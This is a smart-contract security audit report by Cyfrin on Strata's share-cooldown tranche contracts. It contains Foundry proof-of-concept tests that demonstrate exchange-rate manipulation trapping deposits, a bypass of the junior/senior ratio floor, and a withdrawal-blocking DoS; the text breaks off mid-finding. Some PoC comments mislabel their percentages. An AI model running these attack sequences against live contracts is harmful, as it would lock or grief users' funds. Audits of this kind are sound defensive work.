Strata Shares Cooldown Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

0xStalin

BengalCatBalu

January 23, 2026

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

4.1 Protocol summary

Strata Money Tranches is a perpetual risk tranching system built around the Ethena ecosystem, specifically around USDe and sUSDe. Strata Tranches is composed of two Tranches (Seniors and Juniors), which allows investors to deposit their assets (USDe or sUSDe) into any of the two tranches based on their profile risk.

The newest mechanism is backwards compatible with the existing version of Strata Tranches.

4.1.1 Share-LockUp Redemption Mechanism

The latest changes consists of a share lockup redemption mechanism that introduces a cooldown period on shares rather than on assets, and charges fees depending on the current `coverage` for unlocked assets.

The exchange rate for the finalization is not fixed to match the exchange rate at the moment of creating the withdrawal request, instead, the exchange rate is determined at the time of finalization.

Tranche Shares are not burned at the moment of creating the withdrawal request, they are transfered into a Silo contract and stored until the request is finalized.

- Shares are burnt only when the withdrawal request is finalized.

Withdrawers can opt to cancel a withdrawal request and get back their Tranche Shares (minus any fees that have been already paid).

Withdrawers can also opt to instantly finalize their withdrawal requests by paying a fee for skipping the remaining of the cooldown period.

4.1.2 Lock-Up Duration

The protocol MAY define up to **two coverage thresholds** (`C`, `C`) that partition the coverage space into **three mutually exclusive ranges**, each associated with a predefined lock-up duration.

4.1.3 Withdrawal Requests Finalization

Expired withdrawal requests can be permissionless finalized.

Only the owner of a withdrawal request can request to instantly finalize a withdrawal request that is still under its cooldown period by paying a fee.

5 Audit Scope

The audit scope was limited to changes in the `sip/lockup` branch at commitHash `219880`:

```
contracts/tranches/base/cooldown/SharesCooldown.sol
contracts/tranches/strategies/ethena/sUSDeStrategy.sol
contracts/tranches/Tranche.sol
contracts/tranches/StrataCDO.sol
contracts/tranches/Accounting.sol
contracts/tranches/TwoStepConfigManager.sol
```

6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the Strata Shares Cooldown smart contracts provided by Strata. In this period, a total of 21 issues were found.

During the audit we identified 6 Medium and 4 Low severity issues with the remainder being informational and gas optimizations.

One of the medium-severity issues enables an attacker to artificially manipulate the Tranche's exchange rate. This manipulation causes subsequently deposited legitimate assets to become permanently stuck in the Tranche, as the number of shares minted for these deposits falls below `MIN_SHARES`. Consequently, all withdrawal attempts revert due to the total share balance remaining below the `MIN_SHARES` threshold.

Another medium-severity issue arises because the protocol fails to update the APR targets when processing a withdrawal request that is places under cooldown in the Silo contract. This omission leads to stale APR calculations.

Two of the medium-severity findings involve closely related griefing attacks targeting the Silo contract. These vulnerabilities enable attackers to manipulate system parameters or state in a way that temporarily denies service (DoS) to legitimate users attempting to finalize withdrawal requests after their cooldown period has elapsed.

Another medium-severity vulnerability in the Silo contract allows any user (not necessarily the original requester) to arbitrarily select or override the output token when finalizing an expired withdrawal request. This breaks the original withdrawer's intent and exposes users to unwanted token exposure or forced slippage.

The last medium-severity exposes a design vulnerability in the JR Tranche that incentivize bank-run-like dynamics. Early withdrawers benefit from more favorable exit terms (e.g., lower fees and shorter cooldown periods), while later withdrawers face progressively higher cooldowns and fees as the tranche's coverage ratio declines with each withdrawal request. This creates a strong incentive for depositors to rush withdrawals during periods of perceived stress, accelerating asset outflows and further degrading the coverage ratio, potentially leading to a self-reinforcing withdrawal spiral.

The low-severity findings consist of two categories of edge cases in the protocol:

1. Improper handling of approved third parties (e.g., delegates or operators) when initiating withdrawal requests on behalf of the original depositor.
2. Inadequate enforcement of user-specified slippage protection during withdrawal execution, where the contract returns early instead of reverting when the calculated values fail to meet the user's minimum parameters, potentially allowing suboptimal executions to proceed.

These low-severity issues represent minor deviations from best practices but do not lead to direct fund loss under normal conditions.

Summary

Project Name	Strata Shares Cooldown
Repository	e157b7af1fb64e441c51c1e62885a76e6ab81119
Commit	219880e7a6d4...
Fix Commit	1021020ab866...
Audit Timeline	Jan 9th - Jan 15th, 2026
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	6
Low Risk	3
Informational	10
Gas Optimizations	2
Total Issues	21

Summary of Findings

[M-1] Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token	Resolved
[M-2] `Tranche::burnSharesAsFee` can be used to manipulate the exchange rate to cause withdrawals to revert for legitimate users	Resolved
[M-3] JR Tranche is susceptible to bankrun scenarios given that `SharesCooldown` finalization allows to bypass `minimumJrtSrtRatio` and first withdrawers from JR Tranche get a better cooldown and fees compared to late withdrawers	Resolved
[M-4] `SharesCooldown` instant finalization can be DoSed because of the `UnstakeCooldown` request limits	Resolved
[M-5] APR Targets are not updated when withdrawal requests are sent to the `SharesCooldown` to reflect the change on NAVs caused by the charged fees for the withdrawal	Resolved
[M-6] Increase in coverage can lead to a grief attack causing a DoS for previous withdrawal requests	Resolved
[L-1] Invalid validateRedemptionParams check	Resolved

[L-2] Allowance-Based Withdrawals Can Revert Due to Cooldown Request Slot Limits	Resolved
[L-3] finalizeWithFee lacks race conditioning protection	Resolved
[I-1] SharesCooldown Merges Redemption Requests, Making Them Indivisible for Cancel and Early Exit	Acknowledged
[I-2] SharesCooldown Does Not Enforce Spec-Defined Pause Lockup Rules	Resolved
[I-3] Unreachable code on `SharesCooldown::requestRedeem`	Acknowledged
[I-4] Parameter `at` in `SharesCooldown::finalize` is functionally redundant	Acknowledged
[I-5] Coverage manipulation enables whale to consistently obtain best exit terms for withdrawals	Acknowledged
[I-6] sUSDe withdrawals can be blocked by receiver restrictions	Acknowledged
[I-7] Coverage depends on raw sharesCooldown balances and can be griefed	Acknowledged
[I-8] `Tranche::maxWithdraw` can understate the max withdrawal for the `SharesCooldown` contract	Resolved
[I-9] Misleading revert message in onlyUser modifier	Resolved
[I-10] Misleading owner field in OnMetaWithdraw event	Resolved
[G-1] Skip call to `CDO::accrueFee` when there are no fees to charge	Resolved
[G-2] Redundant `user` parameter as it can only be set to `msg.sender` on `SharesCooldown::finalizeWithFee` and `SharesCooldown::cancel` functions	Acknowledged

7 Findings

7.1 Medium Risk

7.1.1 Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token

Description: During `Tranche::withdraw/redeem`, the user can select the desired output token. However, when the exit mode is `SharesLock`, the final token received by the user is no longer under the user's control.

- SharesCooldown finalization is permissionless, allowing any caller to choose the output token at finalization time. This enables third parties to finalize the user's claim using a different token than the one the user originally intended.

```
function finalize(ITranche vault, address token, address user) external returns (uint256 claimed) {
    return finalize(vault, token, user, block.timestamp);
}
function finalize(ITranche vault, address token, address user, uint256 at) public returns (uint256
↪   claimed) {
    claimed = extractClaimableInner(address(vault), user, at);
    vault.redeem(token, claimed, user, address(this));
    emit Finalized(vault, user, claimed);
    return claimed;
}
```

This is problematic because the final time it takes for the withdrawers to receive the assets can be extended beyond what they are comfortable waiting for. For example, consider the scenario where a user selects `sUSDe` as the `outputToken`. Here is what would happen when finalizing such a withdrawal request on the `SharesCooldown` contract:

1. If finalization selects `sUSDe`, then the `cooldown` period was the only time the user had to wait to receive his assets.
2. If finalization selects `USDe`, then, on top of the `cooldown` period, the user will have to wait for the `unstaking` period on the `sUSDe` contract, and, only until the `unstaking` period is over, the user will be able to get their assets back finally.

Recommended Mitigation: Persist the user's chosen output token when creating the cooldown request and enforce it during a permissionless finalization.

Strata: Fixed in commit 0354983.

Cyfrin: Verified. Permissionless finalizations can't override the user's original choice; only the user can override the redeemable token via a permissioned function. Now it is possible to finalize only requests for a specific token at a time.

7.1.2 `Tranche::burnSharesAsFee` can be used to manipulate the exchange rate to cause withdrawals to revert for legitimate users

Description: `Tranche::burnSharesAsFee` is a new function meant to allow charging fees in the form of burning shares and distributing the corresponding NAV for those shares among the Tranche and Reserve.

The problem is that this function can be leveraged to inflate the exchange rate before a first legitimate deposit. This will set the system in an unexpected state where the Tranche_NAV will be > 0, but its totalSupply will be 0, allowing the attacker to mint 1 wei of a share, effectively inflating the exchange rate.

Impact: Assets will get stuck on the Strategy contract.

Proof of Concept: The next attack demonstrates how the exchange rate can be manipulated via the `Tranche::burnSharesAsFee` function:

1. Attacker frontruns a legitimate deposit and mints 1 full share on the Tranche.
2. Attacker calls `Tranche::burnSharesAsFee` to burn the full share.

- At this point, `totalSupply` will be 0, whilst `Tranche_NAV` will be > 0 because of the `retentionBps`

3. The attacker mints 1 wei of a share.
   - The exchange rate will be set as: 1 wei of Shares for all the current TrancheNav
5. The legitimate first deposit is processed, and the legitimate user receives a couple of weis of shares, way below the `MIN_SHARES`.
6. The legitimate user attempts to withdraw his deposit, but the withdrawal reverts because the total shares on the tranche are below the `MIN_SHARES`.

Add the PoC on the test/PoC/Cyfrin folder:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { CDOTest } from "../../CDO.t.sol";
import { IErrors } from "../../../contracts/tranches/interfaces/IErrors.sol";

contract BurnSharesAsFees_ToManipulateExchangeRate is CDOTest {
    function test_PoC_burnSharesAsFees_ToManipulateExchangeRate() public {
        // Set retentionBps at 80% for both tranches
        accounting.setFeeRetentionBps(0.8e18, 0.8e18);

        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");

        // Same value as in the Tranche contract
        uint256 MIN_SHARES = 0.1 ether;

//////// initialize sUSDe exchange rate and mint USDe to bob and alice ////////
        USDe.mint(bob, 1000 ether);
        vm.startPrank(bob);
            USDe.approve(address(sUSDe), type(uint256).max);
            sUSDe.deposit(1000 ether, bob);
        vm.stopPrank();

        uint256 initialDeposit = 1000 ether;
        USDe.mint(alice, initialDeposit);
        USDe.mint(bob, initialDeposit);
////////////////////////////////////////////////////////////////////////////

//////// alice manipulates exchange rate on JRTranche via burning shares as feees ////////
        vm.startPrank(alice);
            USDe.approve(address(jrtVault), type(uint256).max);
            jrtVault.deposit(1e18, alice);

            uint256 aliceMaxRedeem = jrtVault.maxRedeem(alice);
            jrtVault.burnSharesAsFee(aliceMaxRedeem, alice);

            assertEq(jrtVault.totalSupply(), 0);
            assertGt(jrtVault.totalAssets(), 0);

            jrtVault.mint(1, alice);
            assertEq(jrtVault.totalSupply(), 1);

            uint256 exchangeRate = jrtVault.convertToAssets(1);
            assertGt(exchangeRate, 0.5e18);
        vm.stopPrank();
////////////////////////////////////////////////////////////////////////////

//////// bob deposits and loses his assets because of the manipulated exchange rate ////////
        USDe.mint(bob, 1_000_000e18);
        vm.startPrank(bob);
```

```
            USDe.approve(address(jrtVault), type(uint256).max);
            //Step 2 => Now Bob deposits 1million USDe into the Tranche
            jrtVault.deposit(1_000_000e18, bob);

            //Because of the manipulated exchange rate, the total minted TrancheShares for such a big
            ↪  deposits won't even reach the MIN_SHARES
            assertLt(jrtVault.totalSupply(), MIN_SHARES);

            //Step 3 => Bob attempts to make a withdrawal, but the withdrawal reverts because the total
            ↪  shares on the Tranche fall below MIN_SHARES
            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(10_000e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(100e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(90_000e18, bob, bob);

            vm.expectRevert(IErrors.MinSharesViolation.selector);
            jrtVault.withdraw(1e18, bob, bob);
        vm.stopPrank();
    }
////////////////////////////////////////////////////////////////////////////
}
```

Recommended Mitigation: When burning shares as fees, consider validating that the remaining shares are above the `MIN_SHARES`

- Call `_onAfterWithdrawalChecks` at the end of the execution on `Tranche::burnSharesAsFee`.

Strata: Fixed in commit ad26a5e

Cyfrin: Verified. `Tranche::_onAfterWithdrawalChecks` is called to prevent burning shares below the `MIN_SHARES`

7.1.3 JR Tranche is susceptible to bankrun scenarios given that `SharesCooldown` finalization allows to bypass `minimumJrtSrtRatio` and first withdrawers from JR Tranche get a better cooldown and fees compared to late withdrawers

Description: The protocol enforces a hard solvency constraint via minimumJrtSrtRatio, which is intended to guarantee that Junior Tranche (JRT) always retains a minimum buffer relative to Senior Tranche (SRT). This invariant is enforced during normal withdrawals through `Accounting.maxWithdrawInner()`. However, this protection is explicitly disabled when the share owner is the `SharesCooldown` contract (i.e call from `finalize` function):

```
    function maxWithdrawInner(bool isJrt, bool ownerIsSharesCooldown) internal view returns (uint256) {
        if (ownerIsSharesCooldown) {
            return isJrt ? jrtNav : srtNav;
        }
        if (isJrt) {
            uint256 minJrt = srtNav * minimumJrtSrtRatio / 1e18;
            return Math.saturatingSub(jrtNav, minJrt);
        }
        // srt
        return srtNav;
    }
```

This creates a critical bypass. When JRT shares are moved into `SharesCooldown`, the subsequent redemption is executed with `owner = SharesCooldown`. At that point, the JRT hard-floor is no longer applied, and the protocol allows withdrawing up to the entire JRT NAV, even if doing so violates `minimumJrtSrtRatio`.

The attached PoC demonstrates this behavior: after JRT shares are locked, additional `SRT` deposits increase `srtNav`, and once `SharesCooldown.finalize()` is called, the JRT withdrawal is executed without any hard-floor

enforcement, leaving the system below `minimumJrtSrtRatio`.

Leveraging the hard-floor bypass via the `SharesCooldown`, combined with the cooldown and fees charged on a withdrawal based on the current `coverage`, the system is susceptible to falling into bankrun scenarios where JR depositors rush to request a withdrawal for their deposits as a preventive measure in case the ratio continues to trend down to the hard-floor`limit. The first withdrawers will ensure they can withdraw their funds if the`hard-floor‘ limit is reached, and if the system starts to recover, they can cancel their withdrawal request and continue earning yield.

- This behavior is unfair for late withdrawers because, as more JR withdrawals are processed, the `coverage` increments, which causes the late withdrawers to go under higher cooldown periods and pay higher fees than the earlier withdrawers.
- The system would effectively incentivize earlier withdrawers to pull out their funds from the JR tranche while `coverage` is high, paying less fees and having a lower cooldown period.

Impact: All `finalize` functions allow bypassing the `minimumJrtSrtRatio` constraint when redeeming shares from `SharesCooldown`. However, `finalizeWithFee()` is the most critical vector because it enables strategic exploitation: users can lock shares during healthy coverage periods, then pay a fee to exit early and bypass the hard floor without waiting the full cooldown period. This converts `minimumJrtSrtRatio` from a protective solvency constraint into a paid bypass mechanism.

Once `jrtNav / srtNav` falls below `minimumJrtSrtRatio`:

1. SRT deposits are disabled due to minimumJrtSrtRatioBuffer.
2. Normal JRT withdrawals are blocked, effectively trapping remaining JRT liquidity.
3. Late withdrawers on JRT are penalized in the form of paying higher fees and higher cooldown periods.

Proof of Concept: Create a new file on `test/PoC/Cyfrin`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { CDOTest } from "../../CDO.t.sol";
import { IStrataCDO } from "../../../contracts/tranches/interfaces/IStrataCDO.sol";
import { IUnstakeHandler } from "../../../contracts/tranches/interfaces/cooldown/IUnstakeHandler.sol";
import { ERC4626 } from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {console} from "forge-std/console.sol";
import {SharesCooldown} from "../../../contracts/tranches/base/cooldown/SharesCooldown.sol";
import {AccessControlled} from "../../../contracts/governance/AccessControlled.sol";
import {ISharesCooldown} from "../../../contracts/tranches/interfaces/cooldown/ISharesCooldown.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { CooldownBase } from "../../../contracts/tranches/base/cooldown/CooldownBase.sol";

contract JrtSrtRatioViolationTest is CDOTest {

    function test_PoC() public {
        address victim = address(0x1234);
        address attacker = address(0x5678);
        address owner = cdo.owner();
        vm.startPrank(owner);
        SharesCooldown sharesCooldown = SharesCooldown(
            address(
                new ERC1967Proxy(
                    address(new SharesCooldown()),
                    abi.encodeWithSelector(CooldownBase.initialize.selector, owner, address(acm))
                )
            )
        );
        AccessControlled(sharesCooldown).setTwoStepConfigManager(owner);
        SharesCooldown.TExitUpperBounds memory exitBounds = ISharesCooldown.TExitUpperBounds({
            p0: 100000,                    // 10% (in ppm)
            p1: 150000,                   // 2.3% (in ppm)
```

```
            r0: ISharesCooldown.TExitParams({ feePpm: 1000, sharesLock: 7 days }),   // Most
            ↪  restrictive: 0.1% fee, 7d lock
            r1: ISharesCooldown.TExitParams({ feePpm: 500, sharesLock: 1 days }),    // Median: 0.05%
            ↪  fee, 1d lock
            r2: ISharesCooldown.TExitParams({ feePpm: 0, sharesLock: 0 })            // Least: 0 fee, no
            ↪  lock
        });
        sharesCooldown.setVaultExitBounds(address(jrtVault), exitBounds);
        acm.grantRole(keccak256("COOLDOWN_WORKER_ROLE"), address(cdo));
        // 2. Register sharesCooldown in CDO
        cdo.setSharesCooldown(ISharesCooldown(address(sharesCooldown)));

        uint256 victimJRTDeposit = 100 ether;
        uint256 attackerSRTDeposit = 1100 ether; // will push jrtNav:srtNav close to 0.05
        ↪  minimumJrtSrtRatio

        // Victim deposits to JRT
        vm.startPrank(victim);
        USDe.mint(victim, victimJRTDeposit);
        USDe.approve(address(jrtVault), victimJRTDeposit);
        jrtVault.deposit(victimJRTDeposit, victim);
        vm.stopPrank();

        // Attacker deposits to SRT
        vm.startPrank(attacker);
        USDe.mint(attacker, attackerSRTDeposit);
        USDe.approve(address(srtVault), attackerSRTDeposit);
        srtVault.deposit(attackerSRTDeposit, attacker);
        vm.stopPrank();

        // Sanity: Get initial jrtNav and srtNav
        (uint256 jrtNavT0, uint256 srtNavT0, ) = accounting.totalAssetsT0();
        // Confirm we're at the hard floor (i.e. jrtNav/srtNav  minimumJrtSrtRatio)
        uint256 ratio = (jrtNavT0 * 1e18) / srtNavT0;
        console.log("Ratio: ", ratio);

        // victim withdraws 40 shares from JRT
        vm.startPrank(victim);
        uint256 victimWithdrawAmount = 40 ether;
        jrtVault.withdraw(victimWithdrawAmount, victim, victim);
        vm.stopPrank();

        // Current ratio is still 100/1100 since TVL doesnt decrease

        // Attacker deposits additional 900 ether to SRT vault
        uint256 additionalSRTDeposit = 565 ether;
        vm.startPrank(attacker);
        USDe.mint(attacker, additionalSRTDeposit);
        USDe.approve(address(srtVault), additionalSRTDeposit);
        srtVault.deposit(additionalSRTDeposit, attacker);
        vm.stopPrank();

        vm.warp(block.timestamp + 8 days);

        vm.startPrank(victim);
        sharesCooldown.finalize(jrtVault, address(USDe), victim);
        vm.stopPrank();

        (jrtNavT0, srtNavT0, ) = accounting.totalAssetsT0();
        ratio = (jrtNavT0 * 1e18) / srtNavT0;
        console.log("Ratio after JRT withdrawal finalized: ", ratio);
        assertLt(ratio, 0.05e18, "Ratio is not below minimum required 5%");
    }
```

```
}
```

Recommended Mitigation: Modify finalizeWithFee() to enforce the minimumJrtSrtRatio constraint during early exits, preventing users from bypassing the hard floor by paying a fee.

Also, consider changing the system mechanism to disincentivize withdrawals from the JRT as much as possible and instead, incentivize depositors to not withdraw their funds. This objective can be achieved by:

- higher cooldown and fees when the `coverage` is high
- lower cooldown and fees when the `coverage` is low The goal is to disincentivize first withdrawers (when `coverage` is high) from withdrawing by charging them a higher fee than later withdrawers, since late withdrawers face a higher risk of supporting the SR deposits.

Strata: Fixed in commit 1feb125.

Cyfrin: Verified. Instant finalizations revert when the shares to be redeemed exceed the maximum redeemable shares on the underlying Tranche; The maximum redeemable shares account for the `minimumJrtSrtRatio` on the JRT.

7.1.4 `SharesCooldown` instant finalization can be DoSed because of the `UnstakeCooldown` request limits

Description: Instant finalization of a `SharesCooldown` position via the `finalizeWithFee` function forces the user to receive `USDe`. The execution ultimately routes through `strategy.withdraw` with `sender = SharesCooldown` and `receiver = user`. Given that the `token` is `USDe`, this creates an UnstakeCooldown request:

```
unstakeCooldown.transfer(sUSDe, sender, receiver, shares);
```

Inside `UnstakeCooldown.transfer`, the system enforces a strict limit for third-party-initiated transfers:

```
if (initialFrom != to && requestsCount >= PUBLIC_REQUEST_SLOTS_CAP) {
    revert ExternalReceiverRequestLimitReached(...)
}
```

Since `initialFrom = SharesCooldown` and `to = user`, every USDe finalization from SharesCooldown consumes one of the PUBLIC_REQUEST_SLOTS_CAP (40) slots of the user's `UnstakeCooldown` queue.

However, `SharesCooldown` itself allows up to 70 active requests per user. This mismatch means that up to 30 valid `SharesCooldown` requests may become unfinalizable in USDe, reverting during `unstakeCooldown.transfer` due to the 40-slot cap.

This can be exploited: attacker can create up to 40 small `SharesCooldown` withdraw requests (one per block), wait until they are claimable, and then attempt to `finalize` them in `USDe`. This fills the victim's `UnstakeCooldown` queue. For the duration of the `sUSDe` unstake delay (e.g., 8 hours), all instant finalizations during this period will revert (`finalizeWithFee`), given that the asset to be redeemed is automatically selected as `USDe`.

Impact: Instant finalizations via `finalizeWithFee` are susceptible to this DoS, forcing users to wait until the unstake delay of the withdrawal requests on the `UnstakeCooldown` queue to be over.

Proof of Concept: paste to new file in `PoC/cyfrin`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import { CDOTest } from "../../CDO.t.sol";
import { IStrataCDO } from "../../../contracts/tranches/interfaces/IStrataCDO.sol";
import { IUnstakeHandler } from "../../../contracts/tranches/interfaces/cooldown/IUnstakeHandler.sol";
import { ERC4626 } from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {console} from "forge-std/console.sol";
import {SharesCooldown} from "../../../contracts/tranches/base/cooldown/SharesCooldown.sol";
import {AccessControlled} from "../../../contracts/governance/AccessControlled.sol";
import {ISharesCooldown} from "../../../contracts/tranches/interfaces/cooldown/ISharesCooldown.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
```

```
import { CooldownBase } from "../../../contracts/tranches/base/cooldown/CooldownBase.sol";

contract JrtSrtRatioViolationTest is CDOTest {

    function test_PoC_DoS() public {
        address victim = address(0x1234);
        address attacker = address(0x5678);
        address owner = cdo.owner();
        vm.startPrank(owner);
        SharesCooldown sharesCooldown = SharesCooldown(
            address(
                new ERC1967Proxy(
                    address(new SharesCooldown()),
                    abi.encodeWithSelector(CooldownBase.initialize.selector, owner, address(acm))
                )
            )
        );
        AccessControlled(sharesCooldown).setTwoStepConfigManager(owner);
        acm.grantRole(keccak256("COOLDOWN_WORKER_ROLE"), address(cdo));
        // 2. Register sharesCooldown in CDO
        cdo.setSharesCooldown(ISharesCooldown(address(sharesCooldown)));


        // Set up real spec exit bands per reference
        SharesCooldown.TExitUpperBounds memory jrtExitBounds = ISharesCooldown.TExitUpperBounds({
            p0: 100000,     // 0.5% (in ppm)
            p1: 150000,    // 2.3% (in ppm)
            r0: ISharesCooldown.TExitParams({ feePpm: 10000, sharesLock: 2 days }),   // 1% fee + 2 days
            ↪  lock
            r1: ISharesCooldown.TExitParams({ feePpm: 5000, sharesLock: 8 hours }),   // 0.5% fee + 8h
            ↪  lock
            r2: ISharesCooldown.TExitParams({ feePpm: 300, sharesLock: 0 })           // 0.03% fee, no
            ↪  lock
        });
        SharesCooldown.TExitUpperBounds memory srtExitBounds = ISharesCooldown.TExitUpperBounds({
            p0: 20000,     // 2% (in ppm)
            p1: 400000,    // 40% (in ppm)
            r0: ISharesCooldown.TExitParams({ feePpm: 10000, sharesLock: 3 days }),   // 1% fee + 3 days
            ↪  lock
            r1: ISharesCooldown.TExitParams({ feePpm: 7000, sharesLock: 7 hours }),   // 0.7% fee + 7h
            ↪  lock
            r2: ISharesCooldown.TExitParams({ feePpm: 1500, sharesLock: 0 })          // 0.15% fee, no
            ↪  lock
        });
        sharesCooldown.setVaultExitBounds(address(jrtVault), jrtExitBounds);
        sharesCooldown.setVaultExitBounds(address(srtVault), srtExitBounds);

        // Victim deposits to JRT and requests withdrawal (finalizable with fee)
        uint256 victimDeposit = 1100 ether;
        vm.startPrank(victim);
        USDe.mint(victim, victimDeposit);
        USDe.approve(address(jrtVault), 100 ether);
        USDe.approve(address(srtVault), 1000 ether);
        jrtVault.deposit(100 ether, victim);
        srtVault.deposit(1000 ether, victim);
        vm.stopPrank();

        // Victim requests to withdraw 40 shares from JRT (creates withdrawal request)
        uint256 withdrawAmount = 40 ether;
        vm.startPrank(victim);
        jrtVault.withdraw(withdrawAmount, victim, victim);
        vm.stopPrank();
```

```
        skip(1 hours);
        // Attacker creates 40 minimal withdrawals on behalf of the victim, inflating activeRequests
        ↪  array
        vm.prank(owner);
        cdo.setSharesCooldown(ISharesCooldown(address(0))); // disable shares cooldown for example
        vm.startPrank(attacker);
        USDe.mint(attacker, 1 ether);
        USDe.approve(address(jrtVault), 1 ether);
        jrtVault.deposit(1 ether, attacker);
        uint256 attackerMinWithdrawal = 1;
        for (uint256 i = 0; i < 40; ++i) {
            skip(1);
            jrtVault.withdraw(attackerMinWithdrawal, victim, attacker);
        }
        vm.stopPrank();

        vm.startPrank(owner);
        cdo.setSharesCooldown(ISharesCooldown(address(sharesCooldown))); // return back
        sharesCooldown.setVaultEarlyExitFee(address(jrtVault), 0.001 ether);
        vm.stopPrank();

        vm.startPrank(victim);
        vm.expectRevert();
        sharesCooldown.finalizeWithFee(jrtVault, victim, 0);
        vm.stopPrank();
    }
}
```

Recommended Mitigation: `finalizeWithFee` should allow the user to select the asset to receive.

- Allowing the `user` to select what asset to receive would completely remove the incentive of attempting to cause the DoS, given that the DoS can be bypassed by simply selecting `sUSDe` as the asset to receive for an instant withdrawal.

Strata: Fixed in commit ebd4376.

Cyfrin: Verified. Users are now able to select the `token` to receive when instantly finalizing requests on the `SharesCooldown`

7.1.5 APR Targets are not updated when withdrawal requests are sent to the `SharesCooldown` to reflect the change on NAVs caused by the charged fees for the withdrawal

Description: The execution path for processing a withdrawal request sent to the `SharesCooldown` charges fees based on the total Tranche Shares redeemed. These fees are charged in the form of burning tranche shares and updating the Tranche NAV and `reserveNav` accordingly.

- `SharesCooldown::requestRedeem => SharesCooldown::accrueFee => Tranche::burnSharesAsFee => CDO::accrueFee => Accounting::accrueFee`

The problem is that the APR Targets for the Tranches are not recalculated to reflect the changes to the NAVs, which means the system will use outdated APR targets until a new operation is performed that updates the APRs.

```
//Tranche::burnSharesAsFee//
    function burnSharesAsFee(uint256 shares, address owner) external returns (uint256 assets) {
        ...
        cdo.accrueFee(address(this), assets);
    }

//CDO::accrueFee//
    function accrueFee (address tranche, uint256 assets) external onlyTranche {
        accounting.accrueFee(isJrt(tranche), assets);
    }
```

```
//Accounting::accrueFee//
    function accrueFee (bool isJrt, uint256 amount) external onlyCDO {
        ...

 //@audit-issue => navs are modified, but the APRs are not updated!

        reserveNav += amountToReserve;
        if (isJrt) {
            jrtNav -= amountToReserve;
        } else {
            srtNav -= amountToReserve;
        }
        emit FeeAccrued(isJrt, amountToReserve, amount - amountToReserve);
    }
```

Impact: Outdated APR targets, especially outdated and higher than actual APR Targets for the SR Tranche, will cause the JRs to earn less interest than they should.

Recommended Mitigation: Consider refactoring the `Accounting::accrueFee` function to update the APR Target, similar to how the `Accounting::updateBalanceFlow` does.

Strata: Fixed in commit b11016c.

Cyfrin: Verified. `Tranche::burnSharesAsFee` now extends the full accounting flow, updating APRs as needed.

7.1.6 Increase in coverage can lead to a grief attack causing a DoS for previous withdrawal requests

Description: This issue demonstrates how an increment in the `coverage`, caused by **a) a large withdrawal on the SR Tranche**, or **b) an increment on the JR deposits**, can be leveraged to pull off a DoS attack on demand and affect both instant and normal (once the cooldown period is over) finalizations.

The fix for issue *Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token* addresses an issue with the permissionless`finalize` function. However, even with that fix, this issue can still be pulled off for withdrawals requesting `USDe`, and the fix for issue *`SharesCooldown` instant finalization can be DoSed because of the `UnstakeCooldown` request limits* only addresses the problem on instant finalizations.

Following the premise behind the cooldown period and fees based on the current `coverage`.

- High coverage => Low cooldown and fees
- Low coverage => High cooldown and fees

Attackers can grief legitimate users' withdrawals from the SR Tranche requesting `USDe` in a scenario where, after the withdrawal, `coverage` goes from a lower range (more restrictive) to a higher range (less restrictive), withdrawal conditions improves, which means that subsequent withdrawals will take less cooldown time + the attacker knows the end time of the real withdrawal's shares cooldown.

An example of an attack derived from an increment in coverage would look like this:

1. A withdrawal requesting `USDe` from the SR Tranche.
2. `coverage` increments and goes to a less restrictive range. Coverage is incremented either by a) the withdrawal on step 1 (a large withdrawal), or b) an increment on the deposits on the JR Tranche.
3. An attacker requests small withdrawals, asking for `USDe` as the asset to receive, setting the withdrawer of step 1 as the `receiver`.
   - All these withdrawals will have a lower cooldown because the `coverage` is on a better range than the range at which the withdrawal from step 1 was processed.
4. Time passes, and as these withdrawals' cooldown is over, the attacker finalizes them, lowering the number of `activeRequests` for the withdrawer on the `SharesCooldown` and incrementing the queue for the withdrawer on the 'UnstakeCooldown.

5. As the number of `activeRequests` on the `SharesCooldown` decrements, while the first withdrawal request is under cooldown, the attacker can continue to repeat steps 3-5 to drive the queue of the withdrawer on the `UnstakeCooldown` to its limit, and have more withdrawal requests cooling down on the `SharesCooldown`.
6. Once the first withdrawal passes the cooldown period, the withdrawer attempts to finalize it, but because the `UnstakeCooldown`'s queue for the withdrawer is complete, the finalization attempt reverts with error `ExternalReceiverRequestLimitReached`.

Impact: SR withdrawals can be temporarily DoSed when they request to withdraw `USDe`

Recommended Mitigation: Given that issue *`SharesCooldown` instant finalization can be DoSed because of the `UnstakeCooldown` request limits* by itself only prevents the DoS on the instant finalizations. The recommended mitigation for issue *Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token* would not address this issue for the normal finalizations, the suggested mitigation to fully cover all the DoS scenarios accounting for the fixes of both problems (#15 and *Finalizing withdrawal requests on the `SharesCooldown` contract allows for third-parties to override user's chosen output token*), the fix for this issue would be:

